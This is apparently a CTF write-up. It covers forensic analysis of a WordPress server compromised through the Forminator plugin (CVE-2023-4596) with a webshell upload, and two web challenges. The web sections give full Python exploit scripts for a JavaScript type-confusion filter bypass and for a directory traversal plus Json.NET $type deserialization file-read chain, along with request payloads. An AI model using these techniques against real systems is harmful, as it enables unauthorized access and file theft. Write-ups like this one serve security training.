Misc

Sanity Check

Third part of the flag - Badge to Breach: ICS Cyber Siege!

image

Second part of the flag - ass1gnrol3s

image

First part of the flag - re4dtherules

image

flag prelim{re4dtherules_ass1gnrol3s_Badge to Breach: ICS Cyber Siege!}

Forensic

[0] - Forensic Sanity Check

We were first given a linux server image webserver_image.img that was compromised by a threat actor.

The first flag is located inside the gdrive link that provides the server image. https://drive.google.com/drive/folders/1WVtgX9iRCgv20AhcITdq_s3F9kF64MKw

image

flag prelim{warming_up_your_forensics_skills_for_real}

[1] - Initial vector

Next task is to identify the CVE used by the attacker to gain initial access to the server and the file that has been dropped by the attacker using the PoC.

Logically, since the attacker most likely gain foothold via the web service, we can take a look at the /var/log/apache2/access.log to identify their activities.

A review of the access.log indicates that the website is most likely running WordPress due to the presence of /wp-admin endpoint.

image

Moreover, after analyzing the disk image using FTK imager the location of the web service directory /var/www/html/ also verifies that it is indeed running WordPress

image

Identifying CVE

WordPress is famous for its plugins that everyone can use. However, outdated plugins often have security vulnerabilities.

Taking a look inside /var/www/html/wp-content/plugins/ this website is using 4 different plugins and one of them is forminator.

image

Looking at the content of forminator.php it is stated that it is running on version 1.24.6, which is vulnerable to CVE-2023-4596.

image

Understanding the PoC

  1. File Upload Bypass: Attacker uploads PHP file through vulnerable postdata field
  2. Extension Validation Bypass: Malicious files bypass file type restrictions
  3. Code Execution: Uploaded PHP shell allows remote command execution

To find out if the attacker is using this specific PoC we can analyze all of the previous file that has been uploaded to the website which can be located at /var/www/html/wp-content/uploads/.

Here the threat actor dropped multiple malicious file into the website in /var/www/html/wp-content/uploads/2025/03 and /var/www/html/wp-content/uploads/2025/06 directory.

image

In /var/www/html/wp-content/uploads/2025/06 is where the threat actor managed to gain foothold by uploading webshell istockphoto-1327339401-612x612-2-300x150.php.

flag prelim{CVE-2023-4596_6abb43dc87e07140ba94beafda03baad}

[5] - Persistent (Unintended)

Apart from plugins, during the enumeration phase we suspected that one of the WordPress themes might be using an outdated version.

image

Analyzing one of the themes twentytwentyfour there is theme.php file that contains a pastebin url.

https://pastebin.com/ELxiB3t1

Visiting the url gave us the flag.

flag prelim{b4yuf3dr4_m1n1_web5h3ll_p3rs15t3nt}

Web

Baby Web

The Vulnerability - Type Confusion

Code expects query as a string but Express.js body parser converts query[] into an array, causing security bypass.

Vulnerable Code

1
2
3
4
5
6
7
8
9
const query = req.body.query; // Can be string OR array

if (query.includes("String")) {
return res.send("Access Denied"); // Filter bypass
}

if (query.includes(key)) {
return res.send("Flag: " + flag); // Authentication check
}

Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
import requests

# Configuration
TARGET_URL = "http://localhost:10009"

def exploit():
print(f"[+] Target: {TARGET_URL}")
print("[+] Exploiting JavaScript type confusion...")

data = {
'query[]': "randomBytes(16).toString('hex')"
}

response = requests.post(f"{TARGET_URL}/search", data=data)

if "Here is your flag:" in response.text:
print("[+] SUCCESS! Flag found:")
# Extract flag from response
flag_start = response.text.find("Here is your flag:") + len("Here is your flag:")
flag_end = response.text.find("</pre>", flag_start)
flag = response.text[flag_start:flag_end].strip()
print(f"[+] {flag}")
else:
print("[!] Exploit failed")
print(f"[DEBUG] Response: {response.text}")

if __name__ == "__main__":
exploit()

flag prelim{i_was_confused_ab_what_to_make--so_i_made_a_js_type_confusion_baby_challenge_ehhe}

Notesafe: Trust Issues

Looking at the file structure of this challenge it looks it is ASP.NET Core web application, due to the presence of Microsoft.AspNetCore.Authentication.JwtBearer.dll file

1
2
3
4
5
6
7
8
9
10
11
12
13
C:.
│ docker-compose.yml
│ flag.txt
│ NoteSafe.zip
│ README.md

└───NoteSafe
├───NoteSafe
│ │ appsettings.Development.json
│ │ appsettings.json
│ │ Microsoft.AspNetCore.Authentication.JwtBearer.dll
│ │ Microsoft.Data.Sqlite.dll
│ │ NoteSafe.dll

Another useful information is that the flag is located at root and apart from that, we discovered that there are custom classes being integrated into the web application which is compiled into NoteSafe.dll

To get our hands into the classes, we can decompile it using https://www.decompiler.com/. After we managed to decompile it here is the vulnerable classes available inside it.

1
2
3
4
5
6
NoteSafe.Helpers
│ JsonHelper.cs ← ROOT VULNERABILITY (enabled the attack)

NoteSafe.Services
│ NoteService.cs ← ENTRY POINT (called vulnerable JsonHelper)
│ FileSystemService.cs ← FILE READ GADGET (successfully used)

1. FilesController.cs - Directory Traversal in File Listing

1
2
3
4
5
6
7
8
9
10
11
12
// Vulnerable endpoint in FilesController.cs
[HttpGet("list")]
public IActionResult ListFiles(string folder)
{
// VULNERABILITY: No path validation or sanitization
var targetPath = Path.Combine(baseDirectory, folder);

// This allows "../" sequences to escape the intended directory
var files = Directory.GetFiles(targetPath);

return Json(files);
}

Request: GET /api/files/list?folder=../

Response:

1
2
3
4
5
6
7
8
9
10
{
"currentPath":"/app/../",
"files":[
{
"name":"flag-BqBEGkm6F8.txt",
"path":"/app/../flag-BqBEGkm6F8.txt","size":36,
"lastModified":"2025-06-19T20:56:28.7842621+00:00"
},`
...
}

2. JsonHelper.cs - Unsafe Deserialization

1
TypeNameHandling = (TypeNameHandling)3,  // TypeNameHandling.All

Why vulnerable: Allows $type attacks to create any .NET class

3. FileSystemService.cs - Dangerous Getter

1
2
3
4
public string FileContents
{
get { return File.ReadAllText(FilePath); } // File read in getter
}

Why vulnerable: Property getter performs file I/O operations

Request:

1
2
3
4
5
6
7
POST /api/notes HTTP/1.1
Content-Type: application/json

{
"$type": "NoteSafe.Services.FileSystemService, NoteSafe",
"FilePath": "/app/../flag-BqBEGkm6F8.txt"
}

Response:

1
2
3
4
5
Invalid object type. Debug info:
{
"FilePath":"/app/../flag-pcBcmDqCak.txt",
"FileContents":"prelim{buzzw0rd5_4r3_n0t_3ncrypt10n}"
}

Complete Attack Flow:

Register a new account -> Login -> directory traversal → Discover flag filename → JSON deserialization → File read gadget → Extract Flag

Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import requests
import re

TARGET_URL = "http://152.42.220.146:54984"
USERNAME = "testuser"
PASSWORD = "testpass123"

def get_antiforgery_token(session, url):
"""Get anti-forgery token from page"""
response = session.get(url)
match = re.search(r'name="__RequestVerificationToken" type="hidden" value="([^"]+)"', response.text)
return match.group(1) if match else None

def exploit():
session = requests.Session()

print(f"[+] Target: {TARGET_URL}")

# Try registration first
print("[+] Attempting registration...")
token = get_antiforgery_token(session, f"{TARGET_URL}/Account/Register")

register_data = {
'Username': USERNAME,
'Password': PASSWORD,
'ConfirmPassword': PASSWORD
}

if token:
register_data['__RequestVerificationToken'] = token

reg_response = session.post(f"{TARGET_URL}/Account/Register", data=register_data, allow_redirects=True)

# Check if registration worked (should redirect to dashboard)
if 'Dashboard' not in reg_response.text and 'dashboard' not in reg_response.url.lower():
print("[!] Registration failed, trying login...")

# Try login instead
login_token = get_antiforgery_token(session, f"{TARGET_URL}/Account/Login")

login_data = {
'Username': USERNAME,
'Password': PASSWORD
}

if login_token:
login_data['__RequestVerificationToken'] = login_token

login_response = session.post(f"{TARGET_URL}/Account/Login", data=login_data, allow_redirects=True)

if 'Dashboard' not in login_response.text and 'dashboard' not in login_response.url.lower():
print("[!] Both registration and login failed!")
return
else:
print("[+] Login successful!")
else:
print("[+] Registration successful!")

# Step 1: Directory traversal to find flag file
print("[+] Finding flag file...")
response = session.get(f"{TARGET_URL}/api/files/list?folder=../")

# Extract flag filename from JSON response
flag_file = None
if response.status_code == 200:
# Look for flag file in JSON response
flag_match = re.search(r'"name":"(flag-[A-Za-z0-9]+\.txt)"', response.text)
if flag_match:
flag_file = flag_match.group(1)
print(f"[+] Found flag file: {flag_file}")
else:
print("[!] No flag file found in directory listing")
print(f"[DEBUG] Response: {response.text}")
return
else:
print(f"[!] Directory traversal failed: {response.status_code}")
return

# Step 2: JSON deserialization to read flag
print("[+] Reading flag file...")
payload = {
"$type": "NoteSafe.Services.FileSystemService, NoteSafe",
"FilePath": f"/{flag_file}"
}

headers = {'Content-Type': 'application/json'}
response = session.post(f"{TARGET_URL}/api/notes", json=payload, headers=headers)

# Extract flag content
if 'FileContents' in response.text:
match = re.search(r'"FileContents":"([^"]*)"', response.text)
if match:
content = match.group(1)
print(f"[+] FLAG: {content}")
else:
print("[!] Could not extract flag content")
else:
print(f"[!] No FileContents in response: {response.text}")

if __name__ == "__main__":
exploit()

flag prelim{buzzw0rd5_4r3_n0t_3ncrypt10n}